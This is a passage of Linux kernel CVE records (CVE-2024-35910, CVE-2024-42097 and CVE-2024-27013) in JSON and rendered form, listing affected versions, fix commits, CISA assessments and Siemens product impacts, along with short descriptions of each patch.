              "lessThan": "93f0133b9d589cc6e865f254ad9be3e9d8133f50",
              "status": "affected",
              "version": "26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe",
              "versionType": "git"
            },
            {
              "lessThan": "44e62f5d35678686734afd47c6a421ad30772e7f",
              "status": "affected",
              "version": "26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe",
              "versionType": "git"
            },
            {
              "lessThan": "e3e27d2b446deb1f643758a0c4731f5c22492810",
              "status": "affected",
              "version": "26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe",
              "versionType": "git"
            },
            {
              "lessThan": "2e43d8eba6edd1cf05a3a20fdd77688fa7ec16a4",
              "status": "affected",
              "version": "26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe",
              "versionType": "git"
            },
            {
              "lessThan": "91b243de910a9ac8476d40238ab3dbfeedd5b7de",
              "status": "affected",
              "version": "26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe",
              "versionType": "git"
            },
            {
              "lessThan": "c1ae4d1e76eacddaacb958b67cd942082f800c87",
              "status": "affected",
              "version": "26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe",
              "versionType": "git"
            },
            {
              "lessThan": "899265c1389fe022802aae73dbf13ee08837a35a",
              "status": "affected",
              "version": "26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe",
              "versionType": "git"
            },
            {
              "lessThan": "151c9c724d05d5b0dd8acd3e11cb69ef1f2dbada",
              "status": "affected",
              "version": "26abe14379f8e2fa3fd1bcf97c9a7ad9364886fe",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/net/inet_connection_sock.h",
            "include/net/sock.h",
            "net/ipv4/inet_connection_sock.c",
            "net/ipv4/tcp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.2"
            },
            {
              "lessThan": "4.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: properly terminate timers for kernel sockets\n\nWe had various syzbot reports about tcp timers firing after\nthe corresponding netns has been dismantled.\n\nFortunately Josef Bacik could trigger the issue more often,\nand could test a patch I wrote two years ago.\n\nWhen TCP sockets are closed, we call inet_csk_clear_xmit_timers()\nto \u0027stop\u0027 the timers.\n\ninet_csk_clear_xmit_timers() can be called from any context,\nincluding when socket lock is held.\nThis is the reason it uses sk_stop_timer(), aka del_timer().\nThis means that ongoing timers might finish much later.\n\nFor user sockets, this is fine because each running timer\nholds a reference on the socket, and the user socket holds\na reference on the netns.\n\nFor kernel sockets, we risk that the netns is freed before\ntimer can complete, because kernel sockets do not hold\nreference on the netns.\n\nThis patch adds inet_csk_clear_xmit_timers_sync() function\nthat using sk_stop_timer_sync() to make sure all timers\nare terminated before the kernel socket is released.\nModules using kernel sockets close them in their netns exit()\nhandler.\n\nAlso add sock_not_owned_by_me() helper to get LOCKDEP\nsupport : inet_csk_clear_xmit_timers_sync() must not be called\nwhile socket lock is held.\n\nIt is very possible we can revert in the future commit\n3a58f13a881e (\"net: rds: acquire refcount on TCP sockets\")\nwhich attempted to solve the issue in rds only.\n(net/smc/af_smc.c and net/mptcp/subflow.c have similar code)\n\nWe probably can remove the check_net() tests from\ntcp_out_of_resources() and __tcp_close() in the future."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:36.068Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/93f0133b9d589cc6e865f254ad9be3e9d8133f50"
        },
        {
          "url": "https://git.kernel.org/stable/c/44e62f5d35678686734afd47c6a421ad30772e7f"
        },
        {
          "url": "https://git.kernel.org/stable/c/e3e27d2b446deb1f643758a0c4731f5c22492810"
        },
        {
          "url": "https://git.kernel.org/stable/c/2e43d8eba6edd1cf05a3a20fdd77688fa7ec16a4"
        },
        {
          "url": "https://git.kernel.org/stable/c/91b243de910a9ac8476d40238ab3dbfeedd5b7de"
        },
        {
          "url": "https://git.kernel.org/stable/c/c1ae4d1e76eacddaacb958b67cd942082f800c87"
        },
        {
          "url": "https://git.kernel.org/stable/c/899265c1389fe022802aae73dbf13ee08837a35a"
        },
        {
          "url": "https://git.kernel.org/stable/c/151c9c724d05d5b0dd8acd3e11cb69ef1f2dbada"
        }
      ],
      "title": "tcp: properly terminate timers for kernel sockets",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35910",
    "datePublished": "2024-05-19T08:35:03.287Z",
    "dateReserved": "2024-05-17T13:50:33.121Z",
    "dateUpdated": "2026-05-12T11:52:45.434Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42097 (GCVE-0-2024-42097)

Vulnerability from cvelistv5 – Published: 2024-07-29 17:39 – Updated: 2026-05-12 11:56

Title

ALSA: emux: improve patch ioctl data validation

Summary

In the Linux kernel, the following vulnerability has been resolved: ALSA: emux: improve patch ioctl data validation In load_data(), make the validation of and skipping over the main info block match that in load_guspatch(). In load_guspatch(), add checking that the specified patch length matches the actually supplied data, like load_data() already did.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/40d7def67841343c1…
https://git.kernel.org/stable/c/79d9a000f0220cdab…
https://git.kernel.org/stable/c/d23982ea9aa438f35…
https://git.kernel.org/stable/c/7a18293fd8d8519c2…
https://git.kernel.org/stable/c/d0ff2443fcbb47220…
https://git.kernel.org/stable/c/d8f5ce3cb9adf0c72…
https://git.kernel.org/stable/c/87039b83fb7bfd7d0…
https://git.kernel.org/stable/c/89b32ccb12ae67e63…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 40d7def67841343c10f8642a41031fecbb248bab (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 79d9a000f0220cdaba1682d2a23c0d0c61d620a3 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d23982ea9aa438f35a8c8a6305943e98a8db90f6 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 7a18293fd8d8519c2f7a03753bc1583b18e3db69 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d0ff2443fcbb472206d45a5d2a90cc694065804e (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d8f5ce3cb9adf0c72e2ad6089aba02d7a32469c2 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 87039b83fb7bfd7d0e0499aaa8e6c049906b4d14 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 89b32ccb12ae67e630c6453d778ec30a592a212f (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.97 , ≤ 6.1.* (semver) Unaffected: 6.6.37 , ≤ 6.6.* (semver) Unaffected: 6.9.8 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:01:32.160Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/40d7def67841343c10f8642a41031fecbb248bab"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/79d9a000f0220cdaba1682d2a23c0d0c61d620a3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d23982ea9aa438f35a8c8a6305943e98a8db90f6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7a18293fd8d8519c2f7a03753bc1583b18e3db69"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d0ff2443fcbb472206d45a5d2a90cc694065804e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d8f5ce3cb9adf0c72e2ad6089aba02d7a32469c2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/87039b83fb7bfd7d0e0499aaa8e6c049906b4d14"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/89b32ccb12ae67e630c6453d778ec30a592a212f"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42097",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:18:18.485738Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:00.102Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:38.537Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "sound/synth/emux/soundfont.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "40d7def67841343c10f8642a41031fecbb248bab",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "79d9a000f0220cdaba1682d2a23c0d0c61d620a3",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d23982ea9aa438f35a8c8a6305943e98a8db90f6",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "7a18293fd8d8519c2f7a03753bc1583b18e3db69",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d0ff2443fcbb472206d45a5d2a90cc694065804e",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d8f5ce3cb9adf0c72e2ad6089aba02d7a32469c2",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "87039b83fb7bfd7d0e0499aaa8e6c049906b4d14",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "89b32ccb12ae67e630c6453d778ec30a592a212f",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "sound/synth/emux/soundfont.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.97",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.37",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.97",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.37",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.8",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: emux: improve patch ioctl data validation\n\nIn load_data(), make the validation of and skipping over the main info\nblock match that in load_guspatch().\n\nIn load_guspatch(), add checking that the specified patch length matches\nthe actually supplied data, like load_data() already did."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:26:56.327Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/40d7def67841343c10f8642a41031fecbb248bab"
        },
        {
          "url": "https://git.kernel.org/stable/c/79d9a000f0220cdaba1682d2a23c0d0c61d620a3"
        },
        {
          "url": "https://git.kernel.org/stable/c/d23982ea9aa438f35a8c8a6305943e98a8db90f6"
        },
        {
          "url": "https://git.kernel.org/stable/c/7a18293fd8d8519c2f7a03753bc1583b18e3db69"
        },
        {
          "url": "https://git.kernel.org/stable/c/d0ff2443fcbb472206d45a5d2a90cc694065804e"
        },
        {
          "url": "https://git.kernel.org/stable/c/d8f5ce3cb9adf0c72e2ad6089aba02d7a32469c2"
        },
        {
          "url": "https://git.kernel.org/stable/c/87039b83fb7bfd7d0e0499aaa8e6c049906b4d14"
        },
        {
          "url": "https://git.kernel.org/stable/c/89b32ccb12ae67e630c6453d778ec30a592a212f"
        }
      ],
      "title": "ALSA: emux: improve patch ioctl data validation",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42097",
    "datePublished": "2024-07-29T17:39:32.470Z",
    "dateReserved": "2024-07-29T15:50:41.173Z",
    "dateUpdated": "2026-05-12T11:56:38.537Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27013 (GCVE-0-2024-27013)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:29 – Updated: 2026-05-12 11:51

Title

tun: limit printing rate when illegal packet received by tun dev

Summary

In the Linux kernel, the following vulnerability has been resolved: tun: limit printing rate when illegal packet received by tun dev vhost_worker will call tun call backs to receive packets. If too many illegal packets arrives, tun_do_read will keep dumping packet contents. When console is enabled, it will costs much more cpu time to dump packet and soft lockup will be detected. net_ratelimit mechanism can be used to limit the dumping rate. PID: 33036 TASK: ffff949da6f20000 CPU: 23 COMMAND: "vhost-32980" #0 [fffffe00003fce50] crash_nmi_callback at ffffffff89249253 #1 [fffffe00003fce58] nmi_handle at ffffffff89225fa3 #2 [fffffe00003fceb0] default_do_nmi at ffffffff8922642e #3 [fffffe00003fced0] do_nmi at ffffffff8922660d #4 [fffffe00003fcef0] end_repeat_nmi at ffffffff89c01663 [exception RIP: io_serial_in+20] RIP: ffffffff89792594 RSP: ffffa655314979e8 RFLAGS: 00000002 RAX: ffffffff89792500 RBX: ffffffff8af428a0 RCX: 0000000000000000 RDX: 00000000000003fd RSI: 0000000000000005 RDI: ffffffff8af428a0 RBP: 0000000000002710 R8: 0000000000000004 R9: 000000000000000f R10: 0000000000000000 R11: ffffffff8acbf64f R12: 0000000000000020 R13: ffffffff8acbf698 R14: 0000000000000058 R15: 0000000000000000 ORIG_RAX: ffffffffffffffff CS: 0010 SS: 0018 #5 [ffffa655314979e8] io_serial_in at ffffffff89792594 #6 [ffffa655314979e8] wait_for_xmitr at ffffffff89793470 #7 [ffffa65531497a08] serial8250_console_putchar at ffffffff897934f6 #8 [ffffa65531497a20] uart_console_write at ffffffff8978b605 #9 [ffffa65531497a48] serial8250_console_write at ffffffff89796558 #10 [ffffa65531497ac8] console_unlock at ffffffff89316124 #11 [ffffa65531497b10] vprintk_emit at ffffffff89317c07 #12 [ffffa65531497b68] printk at ffffffff89318306 #13 [ffffa65531497bc8] print_hex_dump at ffffffff89650765 #14 [ffffa65531497ca8] tun_do_read at ffffffffc0b06c27 [tun] #15 [ffffa65531497d38] tun_recvmsg at ffffffffc0b06e34 [tun] #16 [ffffa65531497d68] handle_rx at ffffffffc0c5d682 [vhost_net] #17 [ffffa65531497ed0] vhost_worker at ffffffffc0c644dc [vhost] #18 [ffffa65531497f10] kthread at ffffffff892d2e72 #19 [ffffa65531497f50] ret_from_fork at ffffffff89c0022f

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/68459b8e3ee554ce7…
https://git.kernel.org/stable/c/4b0dcae5c4797bf31…
https://git.kernel.org/stable/c/14cdb43dbc827e18a…
https://git.kernel.org/stable/c/a50dbeca28acf7051…
https://git.kernel.org/stable/c/62e27ef18eb4f0d33…
https://git.kernel.org/stable/c/40f4ced305c6c4748…
https://git.kernel.org/stable/c/52854101180beccdb…
https://git.kernel.org/stable/c/f8bbc07ac53559313…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ef3db4a5954281bc1ea49a4739c88eaea091dc71 , < 68459b8e3ee554ce71878af9eb69659b9462c588 (git) Affected: ef3db4a5954281bc1ea49a4739c88eaea091dc71 , < 4b0dcae5c4797bf31c63011ed62917210d3fdac3 (git) Affected: ef3db4a5954281bc1ea49a4739c88eaea091dc71 , < 14cdb43dbc827e18ac7d5b30c5b4c676219f1421 (git) Affected: ef3db4a5954281bc1ea49a4739c88eaea091dc71 , < a50dbeca28acf7051dfa92786b85f704c75db6eb (git) Affected: ef3db4a5954281bc1ea49a4739c88eaea091dc71 , < 62e27ef18eb4f0d33bbae8e9ef56b99696a74713 (git) Affected: ef3db4a5954281bc1ea49a4739c88eaea091dc71 , < 40f4ced305c6c47487d3cd8da54676e2acc1a6ad (git) Affected: ef3db4a5954281bc1ea49a4739c88eaea091dc71 , < 52854101180beccdb9dc2077a3bea31b6ad48dfa (git) Affected: ef3db4a5954281bc1ea49a4739c88eaea091dc71 , < f8bbc07ac535593139c875ffa19af924b1084540 (git)
Linux	Linux	Affected: 2.6.35 Unaffected: 0 , < 2.6.35 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.157 , ≤ 5.15.* (semver) Unaffected: 6.1.88 , ≤ 6.1.* (semver) Unaffected: 6.6.29 , ≤ 6.6.* (semver) Unaffected: 6.8.8 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27013",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-01T13:35:26.133742Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:22:49.101Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:17:07.558Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/68459b8e3ee554ce71878af9eb69659b9462c588"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4b0dcae5c4797bf31c63011ed62917210d3fdac3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/14cdb43dbc827e18ac7d5b30c5b4c676219f1421"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a50dbeca28acf7051dfa92786b85f704c75db6eb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/62e27ef18eb4f0d33bbae8e9ef56b99696a74713"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/40f4ced305c6c47487d3cd8da54676e2acc1a6ad"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/52854101180beccdb9dc2077a3bea31b6ad48dfa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f8bbc07ac535593139c875ffa19af924b1084540"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAMSOZXJEPUOXW33WZYWCVAY7Z5S7OOY/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4EZ6PJW7VOZ224TD7N4JZNU6KV32ZJ53/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCBZZEC7L7KTWWAS2NLJK6SO3IZIL4WW/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:05.557Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/tun.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "68459b8e3ee554ce71878af9eb69659b9462c588",
              "status": "affected",
              "version": "ef3db4a5954281bc1ea49a4739c88eaea091dc71",
              "versionType": "git"
            },
            {
              "lessThan": "4b0dcae5c4797bf31c63011ed62917210d3fdac3",
              "status": "affected",
              "version": "ef3db4a5954281bc1ea49a4739c88eaea091dc71",
              "versionType": "git"
            },
            {
              "lessThan": "14cdb43dbc827e18ac7d5b30c5b4c676219f1421",
              "status": "affected",
              "version": "ef3db4a5954281bc1ea49a4739c88eaea091dc71",
              "versionType": "git"
            },
            {
